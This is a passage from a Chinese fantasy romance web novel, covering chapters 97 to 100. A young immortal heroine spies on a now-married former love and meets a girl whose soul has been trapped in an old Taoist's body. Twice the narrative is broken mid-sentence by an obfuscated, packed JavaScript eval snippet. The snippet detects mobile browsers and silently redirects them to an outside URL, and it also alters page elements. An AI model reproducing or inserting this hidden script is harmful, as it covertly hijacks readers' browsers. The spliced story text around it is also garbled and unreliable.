就在她要说些什么的时候,慕璟明却忽然出声打断了她。 可屋外小鹦鹉仍旧在将她的那句“小七,我要走了,再见!”聒噪着重复个不停。 还有什么不清楚的,她确实不用再说了。 于是两人一时都陷入了沉默,屋内静默半晌,男人却倏地伸手抵住少女后脑,双眸攫住少女柔软的双唇,墨色的长睫一垂,一个吻便要向那里落下。 98. 第97章 少夫人 男人今夜为了等人,在雪地里站了太久,久到每一根头发丝都已被凉风吹透了,此时骤然倾身,便携下一身霜冷,但向少女唇上落去的气息却是滚热。 察觉到慕璟明灼热的呼吸迫近,璃音蓦地一惊,待她慌慌张张转回视线,明白了男人要对她做什么,更是惊上加惊,双手胡乱撑上他安静起伏的胸膛,在那唇即将覆上自己的瞬间,一把将他推了出去。 少女的唇并未被他触上,却已几乎沾满了男人的气息。 仅仅只是这样,就迫得璃音呼吸急乱,几乎就要轻轻喘息起来。 她本就不是挣不脱慕璟明的钳制,只是被喜欢的人那样靠近,心里难免就偷偷滋生出许多阴暗的欢喜。 可看到他真的把吻向她落下,欢喜之余,心头却更有一阵生气翻腾上来。 他既想亲她,喜欢她,又怎么娶了别个女子。 既娶了别个女子,现在怎么又要来亲她。 她可以接受慕璟明不爱她了,可以接受他给妻子的任何深情。 却不能接受他是一个左拥右抱,把她当成可以肆意发泄欲望的小情人的男人。 那样遍地都是,和他的父亲武宁侯一样,只有着最本能的欲望,和一群三妻四妾的男人。 那样的话,她心里最纯净美好的那个少年就会崩塌,会坏掉的。 美好可以失去,但不能坏掉。 她不要他坏掉。 至少不要朝着那样一个庸常又普通的路子坏掉。 就是这般思绪杂沓间,璃音下意识手上用力,推开了慕璟明。 但她却忘了顾及此时的慕小侯爷尚是凡人之躯,男人经她这大力一推,一下便被推出好几步远,直至砰的一声,后背重重撞上冷硬的墙面。 慕璟明闷哼一声,喉间满是压抑的腥甜。 “小七!” 听见这番动静,璃音猛地回过神来,一下子什么生不生气、坏不坏掉都顾不得了,她慌乱地飞奔上前,去扶男人沉重的身子,眼中都不自觉急出了一片水雾,只觉得自己这辈子所有的紧张和不镇定都用在这个男人身上了。 “对不起,我不是……我不是故意的,你要不要紧?” 慕璟明反手握住少女扶来的手,没有作声,也暂时无法作声,他喉结滑动,欲将体内上涌的血气咽下,但一息之后,便知压不下去了,忙别过脸,朝着不叫少女瞧见的另一边,吐出了一大口鲜血。 那样明显的气味,那样刺目的鲜红,璃音怎么可能真的瞧不见。 慕璟明怎么会这么倒霉,遇上她这样的烦人精。 擅闯他的宅院,偷窥他,打扰他,又恶意揣测他,现在还把他打伤了。 璃音抢过男人劲瘦的手腕,微凉的指尖即刻搭上。 在细细查探过慕璟明的脉象之后,她不可置信地抬眸望他:“怎么会……” 脏腑受损,且体内到处是陈年积累下的内伤。 慕璟明却只是淡淡撇过脸,将表情都藏进窗缝透不过来光的阴影里,语气没什么起伏地道:“再见我听到了,姑娘既是要走,现在便可离开了。” “姑娘”这种生疏的称呼都用上了,但璃音根本没空搭理他说的话,只连忙单手去颈间解下一根系带,那上面坠着归岚给她的一小颗东海冰晶,她近来灵力损耗太大,这原是给她随身戴着恢复元气用的。 她拨开男人散在颈后的浓黑发丝,露出一截白皙修长的脖颈,然后便将双手轻轻环了上去,把坠着冰晶的系带挂上,纤长的手指在他后颈缠旋翻飞,轻柔地系着绳结。 “你别怕,有了这个,很快就会好的。” 少女的声音轻轻响在耳边,她的声线和冰晶一样甘冽清新,也仿佛和冰晶一样能镇住人身体里的痛意。 慕璟明只觉胸口闷痛骤减,有一阵清爽的疗愈游走过全身。 少女努力踮着脚,用几乎是拥着他的姿势在往他颈上系一根带子。 男人不动声色地将头垂下一点,独属于少女的那股冷香立刻充盈鼻尖。 他放任自己沉浸在这熟悉却又离开了他太久的气味中,一时竟分不清,在他体内起着镇痛作用的究竟是少女的声音,是这份冷香,还是那颗小小的冰珠子了。 脑中掠过少女方才望向他时那双关切水润的眸子。 她是如此关切着自己。 她从出现在他身边的第一刻起,就一直如此关切着自己。 多好。 只可惜…… 慕璟明有些自嘲地勾动一点唇角。 只是吐了一口血,就把她心疼成这样。 若是再多吐几口,她今晚就会留下来了吧。 只不过…… 男人的眸色晦暗下去。 伤一好,她就又会毫不犹豫抛下他,就像三年前那样,一声不吭地将他抛下。 但至少三年前她还会赏他一些甜头。 而如今,连一个亲吻也不被允许了。 被他暗暗改了模样的玉郎君,也被她千里迢迢地退了回来,扔在地上,那样狼狈。 胸口的闷痛再一次翻腾上来,慕璟明无声地绷紧了背脊,唇角那一点自嘲更甚。 璃音为慕璟明戴好冰晶,微微撤开身子,就看到他脸上略带嘲弄意味的笑,心头不由得被刺了一下。 前一刻还在推开他,现在又贴他这么近,在慕璟明眼里,她一定成了个欲拒还迎,不知羞耻的女人。 璃音有些难堪地垂下眼,收回环在男人颈侧的手臂,正要知情识趣地往更远处退开,就听见童墨自院中一叠声叫唤着奔了过来:“小侯爷,小侯爷,我在外面听见动静……啊……这……这是怎么了!” 童墨望见地上一滩血迹,吓得不轻,但面上神色也只是惊吓,倒没有讶然,甚至接下来开口的架势也很是熟练,仿佛这样的事情,他已经处理过很多次了:“药就在炉子上煨着呢,小侯爷您先去换衣服,我一会就给您端来。” 璃音这才发觉慕璟明的衣襟上也染上了几点斑驳血色。 这么漂亮的衣服,看起来还是簇新的呢,就被她害得沾了血,她可真是罪孽深重。 童墨见慕璟明轻轻点过头,便手脚麻利地拿来抹布擦了地,血还热乎着,几下便擦干净了,擦完便就又拿着抹布起身出去,从头至尾都没对璃音的在场表现出任何的惊讶。 璃音觉得童墨这反应有点说不上来的怪异。 他明明就看到她了。 两人好歹在慕璟明院中共事过一段日子,关系也不差,虽说这个场面不适合他们寒暄,但久别之后再碰面,彼此用眼神打个招呼,点一点头,总还是要有的吧。 但他就只是很平淡地看了她一眼,便立刻把视线挪开了,仿佛多看一眼就会被罚钱似的。 “童墨。” 身后的窗子原本只开了一道缝,璃音将窗页完全推开,双手撑上窗沿,探身叫住院中小跑着的少年:“你家小侯爷这内伤是怎么来的?” 童墨闻声顿住脚步,回身时神色依旧没什么变化,他上前几步,向她答道:“是在战场上落下的旧伤。” 顿了顿,眼神似乎往她身后瞟了瞟,又道:“外伤都好了,只是内伤难愈,牵动了也只能静养,一会少夫人多陪陪他,过了这阵痛,今日便算好了。” 璃音本来还想再问点什么,愣是被“少夫人”这三个字给打住了。 慕璟明 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“抱歉。”少女停身在门框边上,话音很轻,翘卷的睫毛垂下,没有回头,“开春之后或许还会再遇上一面,其他时候,我都不会再来打搅你了。” 本来还有一句“新婚快乐”该对他说的,但终究没能出口。 “安心养伤吧……我走了。” 丢下这一句,璃音再没停步,疾步走出慕璟明的视线,便一个闪身,也不管闪去了哪里,总之是逃跑一般从武宁侯府消失了。 一边落荒而逃,她一边在想,今日果然不该进去看他的。 以至于自己竟然好像把原本砸无可砸的一场见面,给搞砸了。 * “小侯爷,您怎么还在这里。” 童墨端着药进来,说话有些带喘,似乎刚刚送错了地方,多跑了几步,大冷天的夜里在身上跑出了一层细汗。 屋内过少的光线让他不自觉缩起瞳孔,他飞快环顾一圈这间空荡荡、黑黢黢的小屋,确认了小侯爷仍是倚着墙壁,就站在原先的位置,也确认了本来立在他身边的少女,此刻已不在屋内了。 他将黏糊糊的一碗苦药端过去,有些茫然地道:“少夫人呢?” “走了。”慕璟明平静地接过碗,一口喝了。 “又走了?”童墨接回喝空的瓷碗,更加茫然了,“那明天还回来吗?” 他摸不准要不要准备少夫人的早午膳。 慕璟明闻言,眉峰轻挑,指腹抚过胸前坠着的微凉冰晶,懒洋洋地从墙上一起身,迈步向门外走去。 “急什么,等我哪天要死了,她自然就回了。” 这话说得吓人,但他的语调和步调同样闲散,童墨愣愣望着男子玄色的背影,完全看不懂小侯爷这会儿究竟是高兴,还是不高兴了。 躲在蜡梅树上的黄脸鹦鹉见慕璟明出来,小嘴一张,便又在院中熟练地叫唤起来。 “阿璃,阿璃,何日归家,何日归家。” 童墨在这清脆的鹦鹉声中回过神来,端着碗,默默甩了甩头,决定还是少去想有关这位少夫人的任何事情。 小侯爷嘴上这么说,至于心里是怎么想的,谁又知道呢? 反正自从他以军功求得陛下准允,在王都里办了那样一场惊世骇俗的婚礼之后,整个王都,谁敢去触着那位神神秘秘的少夫人的霉头。 夜深了,童墨打了个哈欠,走出小屋,掩上房门,快步穿过小院,准备去小厨房放了碗睡觉。 “阿璃,阿璃,何日归家,何日归家。” 小院寂静,只有一个小侍从快步踩在雪地里的细微声响,和鹦鹉不知疲倦地张着小嘴,喊声嘹亮。 99. 第98章 将偷看进行到底 清辉照夜,野岭荒山。 一个青衣少女正抱着寒冬里光秃秃的一株桂树,光洁漂亮的前额抵着树干,闭着眼睛,一下一下往上面撞着。 她缓缓将额头撤开一点,静默一息,就啪的一声撞上,其实也撞得不重,倒不是她那看着白玉般易碎的额头受不了,而是怕那树承受不了。 她轻轻撞一下,便叹一声:“没救了。” 又撞一下,又叹:“我没救了。” 归岚收拾好屋子出来,看见的就是这样一副景象。 他们现在落脚的地方,是深山里一座不知何时荒废掉的道观,简直是个修习设阵的绝佳之所。 归岚找到此处时真是惊喜极了,山在王都郊外,地处幽僻,远离人烟,但以他和主人的速度,从这里抵达那个野男人的府邸,也不过半盏茶的时间。 主人今晚刚去见完那个野男人回来,回来就成了这副样子。 归岚有些担忧地顺着魂契探了探,却探出一片咕嘟咕嘟冒着泡般酸酸涩涩的欢喜。 主人这是……欢喜得疯了? 他很想理解一下,但终究还是觉得不大理解。 既然欢喜,怎么又在满面愁容地撞树呢? 他欢喜的时候,可是只想在主人膝头打滚呢。 从不知恋爱为何物的龙族小神君站在夜色中,歪过头,默默看少女撞了一会树,终是十分有求知欲地上前道:“什么没救了?” 璃音动作一顿。 明明把期待了这么久的见面搞砸了,可才过了这么一会,见到他的欢喜和满足就又压倒了一切,甚至已经在计划着下一次的偷窥行动了。 这不是没救了是什么。 璃音默默抬手,几下拍掉额头粘上的灰,转过身来。 “走吧,练功去!” 便拍拍归岚的肩膀,径直往后院去了。 归岚一听练功,便把野男人抛到了九霄云外,也欢欢喜喜跟着去了。 修仙炼道可解千愁。 这话放在璃音身上,倒真是没错的。 同时她也想起了自己幼年时,母亲帮她戒糖的那桩事来。 大概在五六岁时,璃音不知怎么就馋上了麦芽糖,这种粘牙的甜食对小孩儿的牙齿不好,母亲一开始便不给她多吃,规定一个月只能吃一次。 可小丫头嘴馋起来哪里忍得住,偷吃了几次被母亲抓住后,母亲着了恼,竟买来一担的麦芽糖放在院子里,自己搬了把长凳坐下,就说她今天就在这里看着,要璃音把这一担子的糖全部吃完,不吃完就不许睡觉。 母亲当时的神情并不凶狠,但璃音一辈子都忘不了那天的那场麦芽糖酷刑,吃到后来,虽然她倔着性子,一声不吭吃到嘴巴破皮,“赢”了母亲,但那天之后,她就彻底戒掉了麦芽糖,甚至以后都不再喜吃甜食。 一直吃,吃到腻,吃到吐,此后便再不会想吃。 璃音想她此时需要的或许就是这个,她现在对小七不过还正在兴头上,只要一直看,看到腻,此后便就能解脱了。 她召出落日,在神弓的看顾下,放任魔焰游走灵脉,魔气虽没有侵害神智,多少也激出点潜伏在璃音性子里的狂来。 不过是想看个漂亮男人而已,这对于姑娘家而言,难道不是天经地义的事情?竟还要畏首畏尾的,简直岂有此理。 况且所谓单相思,最大的好处,不就是可以完全不必顾及对方的想法,可以藏身在对方看不见的阴暗角落里,在脑中对他尽情肖想,为所欲为吗? 一旦抛却对方的意愿,开始和停止便完全掌握在了自己手中,所以单相思的人,才是感情世界里真正的王吧。 于是璃音决定了,管慕璟明乐不乐意,她要将偷窥进行到底! * 隔天,出观下山的时候,璃音抬手一整今日新穿戴上的男子衣冠,又回身望了望道观破败的门匾。 匾上木漆掉得厉害,她眯起眼睛努力辨认了好一阵,才拼凑着辨出上面三个褪色残损的大字:“且生观。” 好熟悉的观名,总觉得在哪里听过。 “且生,且生……” 璃音低低念了两遍,一面暗自在记忆里搜刮着有关这座道观的信息,一面在簌簌山风里,转身轻灵一跃,立上归岚阔大的龙背,同他一道下山去了。 敌国降服,战事稍歇,酆国王都的繁华不再是一如既往,而是日盛一日。 不一会,在这繁华都城内最繁华热闹的一条街市上,便出现了两个青衣公子的身影。 走在前面的看上去是个十六七的少年,身量不高,步子却利落,他面容冷俏,身上披一件天青色氅衣,衬得那脸真如冠玉一般,惹得不少姑娘少妇纷纷回头,都装作不经意地直往他身上瞟。 然而看他不停步地直奔街上那间挂着“小南风”三字大匾的馆楼而去,姑娘们又都默默收回了视线,心照不宣地在心里摇了摇头。 挺可口一美少年,可惜是那边的人。 璃音一见着上面悬着的“小南风”三个大字,嘴角就不由抽动了下:这名字,可真够直白的。 但也是没法,左挑右选,就这处最合适,楼好,茶好,风景好,一打开二楼临街那一间上房的窗,俯瞰这处街道的位置更是绝佳。 唯一的问题,它是个小倌馆,并且只接待男客。 不过这在璃音把自己扮成男客之后,便就不成个问题了。 她做了几个深呼吸,终于一抬脚,提步和归岚迈了进去。 很快便有一位美妇摇着小香扇迎了上来:“公子,两位吗?” 倒不是璃音想象中那种“妈妈”的形象,也美艳,也客气,但也和隔壁醉仙楼的小二待客时差不多,并不见轻浮谄媚。 璃音装作熟客似的颔首,很快便有几位年轻俊俏的小倌被带上前来,璃音接到几个媚眼,登时眼皮一跳,汗毛竖起一片,干咳了声,终于装不下去了,一把将归岚推了上去:“你……你点。” 归岚:“……” 妈妈见识过的多了,一眼便瞧出这是两个头遭来的客人,便将扇子掩在胸口笑道:“客人无需拘谨,来这儿就是寻些乐子,若还弄得神思紧绷,岂非我们的不是了!客人不妨就说说喜欢什么样性子的,玩得开的,还是青涩些的,还是听话懂事、会伺候人的。” 话音一落,归岚便收到了璃音的传音:“什么性子无所谓,你就随便挑个便宜些的,但也别太便宜,能带我们进那间上房就行。” 归岚:“……” 他看起来像有所谓的样子吗? 没人告诉过他灵兽还要为主人在小倌馆里点男人啊,掏的甚至还是他的腰包…… 但既是主人的吩咐,无论多荒唐,他都会依言照做。 于是他望着面前一排风华正茂,但在他眼里都长一个样的男人,默默伸出一根手指,向着个穿着比较素净的少年指了指,艰难开口道:“就他吧。” “原来公子喜欢这一款,他确实别有滋味得很呢。”妈妈轻笑着向那少年招手道:“照雪,还不快过来伺候着。” 那少年立即乖巧地站出来,低头跟去了归岚身后,只面上的表情却一直是淡淡的。 璃音有些想笑,归岚选他,大概也是因为,这少年是方才唯一一个没朝他俩抛媚眼的吧,也不知包下他两个月的时间要花去多少银子。 其实对着一排活人,心里想的却是“这个便宜”、“那个不便宜”之类的,璃音也觉不妥,但转念想到千万年来不知多少女子就是被这样估着价的,今日不过是换成了男子,被她估上一估又如何呢? 选了人,订了房,璃音正要跟着归岚上楼,却就听妈妈又在耳边摇着扇笑道:“这位公子不挑一个?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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归岚也蹙了眉,干脆把钱袋子往下一扔,难得透出几分强势:“我与舍弟每日午后过来,把他们两个这两个月的时间都空下来,房间留那一间就行。” 璃音看他一眼,没表示异议,他掏的钱,自是他说了算。 妈妈点过了银子,更没异议了,只嘱咐两个小倌好生伺候,又笑着叫他们玩得尽兴。 璃音上楼前,最后看了那位妈妈一眼。没有浮夸诡异的妆容,也没有夸张油腻的腔调,就连笑容都是轻轻浅浅,客客气气的,她看那些少年的眼神,真与醉仙楼老板看自家楼里的厨子无异。是个冷酷的,而又能干的女人。 照雪也又看了归岚一眼,便默不作声地随两位贵人上楼进屋了。 今日点人颇花费了些时间,璃音一进屋,便从果碟里抓出两个核桃,吩咐照雪盘上,又给小孩儿抓了一碟瓜子花生,让他自己去旁边吃着玩。 无视掉两人一个微烁、一个呆滞的目光,推开窗时,正好看见童墨驾着马车在街面上驶过。 冬日风大,马车侧面的帘子被吹得大开,猎猎地扬在冷风里,她看见了慕璟明闲闲懒懒地靠坐在车上闭目养神的样子。 这一趟便算来得值了。 “你们两个,时辰到了,便自己出去,知道了么?” 璃音丢下这一句,便拉开门,避开妈妈的视线,带着归岚头也不回地走了。 回山的路上,归岚兀自十分不解:折腾这么多,就为了看那人那样短暂的一眼吗? 璃音在雾间云上,远远瞧见那道观残破的大匾,又不禁思量起来:“且生,且生观……” 她一落地,便走向观中暂住的那间小屋,而几乎是在踏入小屋的瞬间,她眸色猛地一沉,赤红光焰自眼底翻起,左手一翻,落日便自她掌中凭召而出。 有人趁她不在,来翻过这间屋子了。 而也就是在这时,她脑中忽地白光一闪,终于想起了是在哪里听到过这“且生观”的名字。 100. 第99章 不如修仙 ——“我们两个都拜在长云山且生观,云上真人门下,是随师父修炼的俗家弟子。” 那日在望仙镇的酒楼里,璃音偶然遇着虞家姐弟,询问他们师承何处时,虞宛初是这么回答她的。 长云山,且生观,云上真人。 莫不就是此处的且生观? 璃音持弓迈步而出,就见门外归岚顺着感应,亦警惕赶来,她一面放出灵识,渐渐覆往整座山脉,一面向归岚问道:“这座山叫什么来着?” 归岚正自摇头,猛听见后山树林中传来“啊”的一声惨呼,呼声短促,带着痛楚,听来似是遭了突袭。 这动静其实隔得尚远,换作凡人决计察觉不到,但此时璃音和归岚神思戒备,灵识外放,这一声便似直接喊在他们耳边的一般。 两人无需对视,便默契无声地闪身入林。 循声立定,却只见一个白发老妪跌在树下。 老妪身上裹一袭灰蓝色道袍,袍子已是十分破烂,但还算干净,除了几处应是在此处沾上的泥点,并无其余污秽油渍,看得出浆洗得很勤。 此时她伏地呜呜而咽,左边小腿弯折在一边,显是骨头断了,脚边散落着一大把粗细长短都差不多的枯枝,看样子像是在这荒山里捡柴时不慎跌倒,以至摔折了腿,孤立无援,爬不起身,便只能趴在这里独自痛呼啜泣。 归岚将那一声声呜咽听在耳中,已自动容,再看她满头满脸的皱纹白发,还有那枯槁瘦弱的胳膊腿儿,年纪估摸得有六十往上了,小神君心性柔软,当下眼中一酸,便要上前搀扶。 “等会。”璃音看那老妪原本没哭,一见着他们,就抿紧了双唇落泪不止,便眯一眯眼,将正要迈步上前的归岚一把拉住,“你不觉得她神态举止有些古怪么?” 归岚步势顿下,又去看那老妪,见她脸色灰败,一双眸子却被泪水染得晶亮,当真是我见犹怜,楚楚动人。光看那对眼睛,哪里像个年过花甲的老妇,便猜她是二八佳人也不稀奇。 但这本身便是古怪之处了。 顺着这个思路再看,归岚立时便发觉,莫说这双眼睛,便说这老妪所有的神情举止:下唇轻咬,两腮微微鼓起,眼中固然含痛,却又似乎含了几分怯生生的欢喜,手指偷偷捏了袍角,一点点绞着,全然一派小丫头的动作。全身上下,除去那满头花白,和枯柴一般干瘪的身躯,内里真像住了个少女魂魄似的,全无一丝龙钟老态。 老妪一听璃音说自己古怪,呜地一声,猛地将脸扎进自己两只枯瘦的手掌之中,不一会,便有颤抖的声音自她指缝间漏出:“姐姐,我这模样很丑,你认不出我来了,对不对?” 璃音一怔。 但在经历过被归岚喊爹,又被小男孩喊哥哥之后,如今被一个老妪喊姐姐,她也只是波澜微惊,很快便没什么障碍地接受了。 她愈发凝神望那老妪,只觉哪哪都瞧着陌生,唯独那一双眼睛,湿漉漉的,闪着小鹿似的光…… 记忆里像有一簇火苗被啪地点燃,照亮了一个生着小鹿眼睛的小丫头的脸。 “小蜀?”璃音愕然上前。 “姐姐……”白发老妪自掌心抬起头,眼泪扑簌簌直往下掉,见璃音蹲身下来,一头便扑进她怀里,也不说别的,只一个劲地喃喃低声,“姐姐还记得我,还有姐姐记得我的……” 璃音安抚地轻拍了拍老妪佝偻的后背。 她怎会不记得,自那日听闻萧夫人病体全可,她便一直牵挂着小蜀去向的。 “那天我们不是说好了,说晚上要好好聊一聊的,你怎么没来?”璃音从怀中捞出小蜀那张爬满皱纹的脸,眉心微动,“还有,你怎么会变作如今这副模样的?” 这明显不是小蜀的原身,难道小蜀为了还阳,竟夺了一位老妪的肉身吗?可夺舍还阳,谁不是争着往年轻强健的身子里钻,哪有人会去夺这种已然花甲的老人的舍? 这时归岚也已上前,自颈间取下系坠在那里的一小颗东海冰晶,悬置于老妪断腿之上,以灵力催动,立时便替小蜀镇住了断骨之痛。 小蜀止了抽噎,仰起一张分不清是本就皱巴巴,还是被她哭得皱巴巴的脸,怯声与归岚道过了谢,便又嘴巴一撇,垂下头去,低声忿然道:“不是我刻意要爽姐姐的约,是我那日一出门,便看到一个白头发老道摔躺在小路边上,我看她可怜,就想上去扶她一把,谁知我一触着她,她就抛出一堆符纸,将我困住,掳来了这所道观……” “白头发老道,就是你现在这具肉身的原主么?”璃音看着眼前与小蜀语气神态全不相称的老妪形貌,插口问道。 小蜀愤愤点头:“就是她!” 顿了顿,深深吸了一口气,续道:“我起初还当是自己为给妹妹报仇,意图谋害楚府两条人命之事败露,被她当做恶灵捉去,决计是要被这道士设法诛灭,活不成的了,不料她掳我过来,根本不是要杀我,而是……而是用邪术把我吸进了她体内,还找出了我藏在林子里的肉身,将它毁了,让我再回不去,只好永远待在这里,用自己的魂魄,好好替她的这副身子骨续命!” 小蜀越说越激动,归岚听到这里,却忍不住蹙眉:“可是一躯一灵,一具躯体,并不能长期容纳两个魂魄的,她这样做也只是徒劳。” 一躯一灵,这一点璃音在小天真自散灵魄时便已验证过了,哪怕是同一个人的魂魄,只是来自不同的时空,也是无法挤在一副躯壳里长期共存的。 不料小蜀却道:“这个那老道也知道的。” 璃音一呆,道:“她明知这样续不了她的魂魄,却还是要你住在这副身体里?难道她所谓的续命,就是指这副身体还能动作么?” 可是她自己魂魄都没了,就算这副躯体现在还算活着,那也只是小蜀在用它活着,那老道士终究是死了,又算得哪门子续命? “对,她就是要我继承这副躯体。” 小蜀泄愤似的扔出手边一根枯柴:“她自己年纪大了,修炼却无大成,创办的道观也一日日败落,她知自己悟性平平,此生已是飞升无望,活着也再无望,便决定放弃不修了,又终究心有不甘。” 说着,又捡了一根枯柴扔出:“她说那日正巧在楚府门后那条小道徘徊,一眼便看中了我修仙的天资,便设计将我困入她体内,从此日□□我画符修炼,说要我替她修行下去,日后用这副身子飞升,也算圆了她的愿。” 璃音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473301|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和归岚听着,都被那老道这一番操作给惊呆了。 献出身体,自散灵魄,将个小丫头的游魂捉入自己体内,只为……逼她修炼成仙,以期有朝一日,这副躯体也能上一上天宫,哪怕届时里面住着的根本不是自己的魂魄。 看小蜀一脸气郁的样子,璃音不禁问道:“那你呢,抛开那老道强迫了你,惹你生气这点,你自己对于修仙这件事,又是怎么想的?” 璃音抬起小蜀的头,去寻她的眸子,认真与小丫头对视:“修仙,不喜欢吗?” 小蜀被问得一愣,仿佛从没想过这问题,茫然一阵,才讷讷地道:“好像也没有特别不喜欢……” 那老道魂魄散尽之前,给她规划好了未来至少五十年的功课,如今老道魂消魄散,她虽气恨自己被困在了这样一副年迈丑陋的身体里面,每日功课却也并未懈怠。 把那些术法研究透彻,兴许有一天,就能逃离这具身子呢。 被这样一点渴盼吊着,小蜀日日勤修苦练,倒把昔日失去妹妹,又不忍对仇人下手的纠结愁苦冲淡了许多,学起那些符纸阵法也没觉枯燥,便就这么一日日稀里糊涂地修了下去。 璃音盯着那双怔忡鹿眼,手轻轻扶上老妪瘦弱的双肩,一字一句认真道:“其实那日我说要同你聊聊,就是想与你说,既然你觉得在凡尘之中求不到出路,与其将魂魄献祭给我,倒不如去修仙吧。” 见小蜀兀自咬唇不语,璃音眨一眨眼,循循诱道:“修仙有什么不好的,若修成了,凡胎尽褪,五谷不愁,长命千岁万岁,便是修不成,也再没人管你嫁不嫁人,生不生子,我觉得再好也没有了。” 说着,又歪一歪头,半开玩笑地道:“难道是还舍不得楚公子?” 冷不丁听见心上人的名字,小蜀被戳中了心事一般,眼神好一阵慌乱,她咬唇半晌,忽地将头一埋,埋去璃音颈窝,哇的一声哭了出来。 “他一开始将我当成画中那位姑娘,我因为说不出身份,便默默认了。等我开始在意他,不愿意他再将另一位姑娘的容貌套在我身上的时候,听着他一遍又一遍,不厌其烦地夸赞我是世上最美的姑娘,却又不敢让他看到我真实的模样了。 “后来越是喜欢他,我就越不敢现身,画中那姑娘那么美,我从前比不过,但总归还能抱一点希望,如今……我这样……我这样……” 水灵灵的小丫头一夕之间变作六旬老妪,那与情郎相见相爱的最后一丝幻想,也终是被磨灭在脸上的每一根皱纹里了。 小蜀趴在璃音肩头,哭得崩溃:“他是那样看重‘美’的一个人,他再也没可能喜欢我了!” 一直以来,楚作戎都当小蜀是他作画成真,好巧不巧,偏又遇上个崔家姑娘,真就与那画中美人长得一般无二,在他心中,与“蜀娘子”的这一段相遇,早已是三生石上注定,是天赐的良缘。 他娶了崔家姑娘,实际上却只娶了一半的“蜀娘子”,如此,他也算得到了他的圆满吗?璃音不清楚。 若是小蜀当时勇敢一些,将真实的样貌展露在楚作戎面前,他又还会不会爱上掌管灵魂的这一半“蜀娘子”呢? 而这个答案,终究是不得而知了。 101. 第100章 天边有闷雷声滚过,归岚抬头望了一眼,提醒道:“要下雨了。” “走吧,先回屋。”璃音拍拍小蜀的肩膀,背转过身,让小蜀伏去自己背上,轻松便将人背了起来。 “姐姐,柴……” 小蜀有些不好意思地伸手指了指散落在地的枯柴。 她如今不再是游魂了,又尚未修出仙身,若无柴火,煮不了饭,晚上会饿死的。 璃音向归岚轻轻使个眼色,归岚便乖乖上前,俯身将那些柴枝一根根拾掇起来,捆好拿起。 小蜀看得眼热,道:“姐姐,这个哥哥是你的爱人吗?” 璃音一愣,随即摇头:“不是。” “他是家人。” 她等归岚提柴跟上,便背着小蜀,顶着天上慢慢聚拢起来的连片乌云,慢悠悠地往林外走去。 结了魂契的双方,彼此间是绝不可生出情爱的心思的。 一旦动念,魂契便即作废。 毕竟这种一方完全受另一方压制的臣服,放在爱情里,其实极端危险,难免不会有人利用这一点钻空子,去达成一些阴暗的情色目的,天地法则绝不会容许此等情况发生。 小蜀趴在璃音背上,听到“家人”二字,不禁喃喃地道:“真好,我还以为修仙之后,就要和族人断绝亲缘关系,再不能有家人了呢。” 璃音困惑偏头:“怎么不能有?” 小蜀便颇为不满地撅起嘴来,嘟嘟囔囔地道:“那老道士留给我的书上就说不能有。” 小丫头原来还忧心这个?璃音觉得有些好笑,说道:“那都是一帮杂念太多,修炼总难静心的人搞出来的修法,只觉得身边每一丁点风吹草动,都是奔着刻意动摇他们道心去的,他们又实在一点诱惑都经不得,便只好将七情六欲连根拔除,全都摒弃了。” 璃音对此等修炼方式说不上赞成,也谈不上反对,毕竟她是靠功德值这种虚幻的东西速通九重天的,但她总觉得,六欲七情一起塑成了如今的她,若将它们全都摒弃,她也就不能再称之为她。 这么想着,又向小蜀笑道:“待你修得小成,若山居寂寥,太过孤单,还可以开宗立派,收一山的徒子徒孙,让他们每日给你奉茶请安,都来当你的家人。” 说着,忽有一滴水珠在璃音额头砸下一点清凉,她抬头稍望,便见头顶蓄满黑云,雨终于落了下来。 归岚随手掐出个避水诀,给三人罩上。 雨势大得很快,淅淅沥沥的雨声响在耳边,璃音背着小蜀,在雨中林间潮湿的泥地里走着,却一点不见躲雨人该有的狼狈,步子迈得悠然极了。 小蜀看着身边的雨点不断被薄薄的一层结界弹开,轻声感叹:“真方便。” 白发老道的身子虽已是个干瘪老太婆,但身量终归还是比璃音大些,小蜀本还担心把她累着,但看她步履轻盈,每一脚都踩得稳稳当当,便彻底安下心来,安安稳稳趴在少女背上,又再感叹:“姐姐,你力气真大!” 璃音只是挑了眉笑,没有说话。 归岚在一旁听着小丫头一会儿一声感叹,又看璃音暗自得意的模样,自己眼底也不由得爬上一点笑意。 主人真是“坏”呀,不直接带小丫头闪身回屋,却故意这样背着她慢慢走,同样是哄人修仙,主人的手法可要比那老道高明多了,看吧,这还没走出几步,小丫头就已经着了她的道了。 也是那老道太心急,小蜀是个太过年轻的小丫头,哪怕修仙是件好事,但强逼着她学,心里总有逆反,还是得让她真正了解修仙是什么,修了有什么好处,心甘情愿来修才行。 突然前方林中一阵簌簌声响,璃音脚下一顿,五感张开,立时便望见一只长着虎皮鹿角的动物在枯树林间穿行狂奔。 几乎是在同时,箭矢破空之声和那东西的惊叫声便相继传了过来。 小蜀一听之下,身子剧震,恨不得立刻跳下背来,奔上前去,只她断了一条腿,寸步行进不得,当下便破了嗓音,在璃音背上又惊又急地求道:“姐姐!你快救救它!那是我的族人,肯定又有人在猎捕它了,求你快去救救它!” 璃音再往前看,果然看见一人骑在马上,挽弓搭箭,在冒雨捕杀那一只林中窜逃的鹿蜀。 璃音二话没说,悄无声息一个闪身,便立在了那一人一马跟前。 她出现得突然,背上不知何故还趴着个干瘪老太婆,尽管还什么也没做,只是这般不声不响地立在荒林雨中,看在马上那人眼里,却形如鬼魅,说不出得惊悚唬人。 奔行中的马儿受了惊,扬蹄嘶声,惊惶着勉强立定,骑在马上那人更是吓得魂都没了,两眼一翻,身子一歪,便要晕倒。 